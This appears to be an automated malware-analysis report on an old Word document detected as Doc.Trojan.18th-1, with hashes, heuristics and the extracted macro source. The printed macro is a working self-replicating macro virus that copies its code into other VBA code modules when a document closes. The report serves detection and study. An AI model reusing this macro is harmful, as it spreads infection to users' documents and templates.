Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0481eb44d3763987…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-08-16 08:04:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 0b1278b67badde68d58b1f28cfa82f45 SHA-1: 480cd1053909ed3c8437f6e273003829c95db820 SHA-256: 0481eb44d3763987661ca863f9ede205990e548607aea2f8885079cf56e68ada
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to obfuscate and potentially modify its own code upon document closure, a common technique for executing malicious payloads. The ClamAV detection 'Doc.Trojan.18th-1' further supports its malicious nature. No specific family could be identified due to the generic nature of the macro.

Heuristics 4

  • ClamAV: Doc.Trojan.18th-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.18th-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 837 bytes
SHA-256: e1e1b738737ebf89dd0bf3d4ce2e0375586f544ee35a3920ebe3eae7e4f94f53
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - 18th
Sub AutoClose(): Document_Close: End Sub
Private Sub Document_Close()
 On Error Resume Next
 For ι = 1 To VBE.CodePanes.Count
 Set υ = VBE.CodePanes(ι).CodeModule
    If υ.Find("~^^~", 0, 0, 0, 0) And ν = 0 Then
        λ = υ.Lines(1, υ.CountOfLines): ν = 1: ι = 0
    End If
    If Not υ.Find("~^^~", 0, 0, 0, 0) And ν = 1 Then
        υ.DeleteLines 1, υ.CountOfLines: υ.InsertLines 1, λ
    End If
 Next
End Sub
Private Sub UserForm_Initialize(): Document_Close: End Sub